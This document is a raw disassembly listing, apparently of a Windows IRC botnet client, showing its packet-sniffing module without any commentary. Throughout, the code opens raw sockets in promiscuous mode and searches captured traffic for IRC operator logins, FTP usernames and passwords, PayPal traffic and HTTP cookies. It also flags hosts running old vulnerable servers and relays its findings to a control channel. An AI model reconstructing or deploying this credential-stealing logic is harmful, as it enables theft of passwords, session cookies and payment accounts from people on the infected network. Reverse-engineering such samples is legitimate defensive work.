		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_41256B:				; CODE XREF: sub_41234A+1DEj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_41C056
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_41226B
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		jmp	short loc_4125F0
; ---------------------------------------------------------------------------


loc_4125C2:				; CODE XREF: sub_41234A+1E3j
		cmp	esi, 1
		jz	short loc_4125DB
		cmp	esi, 3
		jz	short loc_4125DB
		cmp	esi, 2
		jz	short loc_4125D6
		cmp	esi, 4
		jnz	short loc_4125F0


loc_4125D6:				; CODE XREF: sub_41234A+285j
		push	[ebp+arg_0]
		jmp	short loc_4125E2
; ---------------------------------------------------------------------------


loc_4125DB:				; CODE XREF: sub_41234A+27Bj
					; sub_41234A+280j
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_4125E2:				; CODE XREF: sub_41234A+28Fj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41C690
		pop	ecx
		pop	ecx


loc_4125F0:				; CODE XREF: sub_41234A+12Dj
					; sub_41234A+158j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_437A8C
		jl	loc_412434
		cmp	[ebp+var_4], 0
		jz	loc_4123A5
		push	[ebp+var_D8]
		call	sub_40B2A3
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
sub_41234A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41261F	proc near		; DATA XREF: sub_401B66+40C8o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C2F0
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4CDC64	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AB14
		pop	ecx
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4126F4
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_438494
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4126D7
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409982
		add	esp, 14h


loc_4126D7:				; CODE XREF: sub_41261F+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4157A5
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_4126F4:				; CODE XREF: sub_41261F+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_440BA4[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412779
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_438468
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412755
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409982
		add	esp, 14h


loc_412755:				; CODE XREF: sub_41261F+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_412779:				; CODE XREF: sub_41261F+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CDC10	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4127FC
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_438438
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4127D8
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409982
		add	esp, 14h


loc_4127D8:				; CODE XREF: sub_41261F+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_4127FC:				; CODE XREF: sub_41261F+177j
		push	ebx
		mov	ebx, offset dword_437B50


loc_412802:				; CODE XREF: sub_41261F+21Cj
					; sub_41261F+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_4CDC7C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_41292B
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412802
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412802
		lea	eax, [ebp+var_1028C]
		push	offset dword_43842C
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412802
		lea	eax, [ebp+var_1028C]
		push	offset dword_43841C
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412802
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx


loc_412884:				; CODE XREF: sub_41261F+280j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4128A9
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412884


loc_4128A1:				; CODE XREF: sub_41261F+307j
		mov	edi, [ebp+var_4]
		jmp	loc_412802
; ---------------------------------------------------------------------------


loc_4128A9:				; CODE XREF: sub_41261F+276j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CDB94	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_437B64[eax*8]
		push	off_437B40[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_4383E8
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412919
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409982
		add	esp, 14h


loc_412919:				; CODE XREF: sub_41261F+2D8j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		jmp	loc_4128A1
; ---------------------------------------------------------------------------


loc_41292B:				; CODE XREF: sub_41261F+20Fj
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset dword_4383BC
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412971
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409982
		add	esp, 14h


loc_412971:				; CODE XREF: sub_41261F+330j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_30]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
sub_41261F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412995	proc near		; CODE XREF: sub_412CA4+216p
					; sub_412CA4+240p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4D0AB4, eax
		mov	eax, offset dword_4D0AB4
		retn
sub_412995	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129A4	proc near		; CODE XREF: sub_412CA4+2B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4129BE


loc_4129BA:				; CODE XREF: sub_4129A4+29j
					; sub_4129A4+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4129BE:				; CODE XREF: sub_4129A4+14j
		push	offset aGxxx	; "#Gxxx"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129BA
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129BA
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4129BA
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412A06


loc_412A02:				; CODE XREF: sub_4129A4+71j
					; sub_4129A4+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412A06:				; CODE XREF: sub_4129A4+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset a366	; "366 "
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A02
		push	offset aIdent	; ":!ident"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412A02
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412A02
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4129A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_412ABB	proc near		; CODE XREF: sub_412CA4:loc_412F8Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD5


loc_412AD1:				; CODE XREF: sub_412ABB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412AD5:				; CODE XREF: sub_412ABB+14j
		push	offset aGxxx	; "#Gxxx"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AD1
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AFB


loc_412AF7:				; CODE XREF: sub_412ABB+4Fj
					; sub_412ABB+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412AFB:				; CODE XREF: sub_412ABB+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AF7
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412AF7
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412ABB	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B31	proc near		; CODE XREF: sub_412CA4:loc_412FB6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B4B


loc_412B47:				; CODE XREF: sub_412B31+29j
					; sub_412B31+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B4B:				; CODE XREF: sub_412B31+14j
		push	offset aGxxx	; "#Gxxx"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B47
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B47
		push	offset a220	; "220 "
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B82


loc_412B7E:				; CODE XREF: sub_412B31+60j
					; sub_412B31+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412B82:				; CODE XREF: sub_412B31+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B7E
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B7E
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412B31	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BB8	proc near		; CODE XREF: sub_412CA4+345p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412BD2


loc_412BCE:				; CODE XREF: sub_412BB8+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412BD2:				; CODE XREF: sub_412BB8+14j
		push	offset aGxxx	; "#Gxxx"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BCE
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412BF8


loc_412BF4:				; CODE XREF: sub_412BB8+4Fj
					; sub_412BB8+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412BF8:				; CODE XREF: sub_412BB8+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BF4
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BF4
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412BF4
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412BB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C3F	proc near		; CODE XREF: sub_412CA4:loc_413051p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C59


loc_412C55:				; CODE XREF: sub_412C3F+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C59:				; CODE XREF: sub_412C3F+14j
		push	offset aGxxx	; "#Gxxx"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C55
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C7F


loc_412C7B:				; CODE XREF: sub_412C3F+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412C7F:				; CODE XREF: sub_412C3F+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7B
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CA4	proc near		; DATA XREF: sub_401B66+4216o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_3B7]
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CDC78	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CDCE8	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr sub_41CAE0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412D4A
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412D4A:				; CODE XREF: sub_412CA4+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CDC90	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412DC0
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_438768
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412D9C
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409982
		add	esp, 14h


loc_412D9C:				; CODE XREF: sub_412CA4+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_34]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_412DC0:				; CODE XREF: sub_412CA4+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CDC10	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412E46
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_438738
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412E22
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409982
		add	esp, 14h


loc_412E22:				; CODE XREF: sub_412CA4+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_34]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_412E46:				; CODE XREF: sub_412CA4+13Cj
		mov	esi, 200h


loc_412E4B:				; CODE XREF: sub_412CA4+1D6j
					; sub_412CA4+1FFj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CDC7C	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412E4B
		push	[ebp+var_113A4]
		call	dword_4281E8	; ntohs
		push	[ebp+var_113A4+2]
		movzx	edi, ax
		mov	[ebp+var_4], edi
		call	dword_4281E8	; ntohs
		movzx	eax, ax
		cmp	edi, 6Eh
		mov	[ebp+arg_0], eax
		jz	short loc_412E4B
		cmp	edi, 19h
		jz	short loc_412E4B
		cmp	eax, 6Eh
		jz	short loc_412E4B
		cmp	eax, 19h
		jz	short loc_412E4B
		push	[ebp+var_113AC]
		call	sub_412995
		mov	edi, dword_4281EC
		add	esp, 4
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		push	[ebp+var_113A8]
		call	sub_412995
		add	esp, 10h
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_1138C]
		xor	edi, edi
		push	eax
		call	sub_41B7B0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412F40


loc_412F17:				; CODE XREF: sub_412CA4+29Aj
		lea	eax, [ebp+edi+var_1138C]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_412F26
		mov	byte ptr [eax],	20h


loc_412F26:				; CODE XREF: sub_412CA4+27Dj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_412F2E
		mov	byte ptr [eax],	20h


loc_412F2E:				; CODE XREF: sub_412CA4+285j
		lea	eax, [ebp+var_1138C]
		inc	edi
		push	eax
		call	sub_41B7B0
		cmp	edi, eax
		pop	ecx
		jl	short loc_412F17


loc_412F40:				; CODE XREF: sub_412CA4+271j
		cmp	[ebp+var_4], 50h
		jz	loc_412FE2
		cmp	[ebp+arg_0], 50h


loc_412F4E:				; DATA XREF: .packed:off_43CE7Co
		jz	loc_412FE2
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4129A4
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412F8A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_438704
		jmp	loc_413013
; ---------------------------------------------------------------------------


loc_412F8A:				; CODE XREF: sub_412CA4+2C6j
		call	sub_412ABB
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412FB6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_4386D0
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FB6:				; CODE XREF: sub_412CA4+2F5j
		call	sub_412B31
		test	al, al
		pop	ecx
		jz	short loc_412FE2
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_43869C
		jmp	short loc_413013
; ---------------------------------------------------------------------------


loc_412FE2:				; CODE XREF: sub_412CA4+2A0j
					; sub_412CA4:loc_412F4Ej ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412BB8
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_413051
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_438664


loc_413013:				; CODE XREF: sub_412CA4+2E1j
					; sub_412CA4+310j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412E4B
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409982
		add	esp, 14h
		jmp	loc_412E4B
; ---------------------------------------------------------------------------


loc_413051:				; CODE XREF: sub_412CA4+354j
		call	sub_412C3F
		test	al, al
		pop	ecx
		jz	loc_412E4B
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_43862C
		jmp	short loc_413013
sub_412CA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413081	proc near		; DATA XREF: sub_401B66+645Bo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
